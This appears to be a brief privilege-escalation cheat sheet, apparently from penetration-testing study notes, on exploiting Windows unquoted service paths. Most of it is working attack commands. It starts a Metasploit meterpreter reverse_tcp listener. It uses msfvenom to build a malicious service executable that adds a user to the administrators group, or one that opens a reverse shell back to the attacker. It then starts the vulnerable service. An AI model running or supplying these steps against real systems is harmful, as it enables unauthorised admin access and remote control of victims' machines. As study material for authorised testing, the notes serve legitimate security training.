Unquoted Service Paths

Executable path is not enclosed in quotations and has a space

Example:

Spaces in the path like: Program SPACE Files + Unquoted SPACE Path SPACE Service

How we can abuse that? We can add .exe in place of one of the spaces and it will run:

C:\Program Files\Unquoted(.exe)Path Service\Common.exe

In Kali:

Run Meterpreter listener:

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost tun0
run

Make a common.exe that adds user to admins:

msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe

OR Make a common.exe that gives you shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 -f exe -o x.exe

In Windows:

Start the service:

sc start unquotedsvc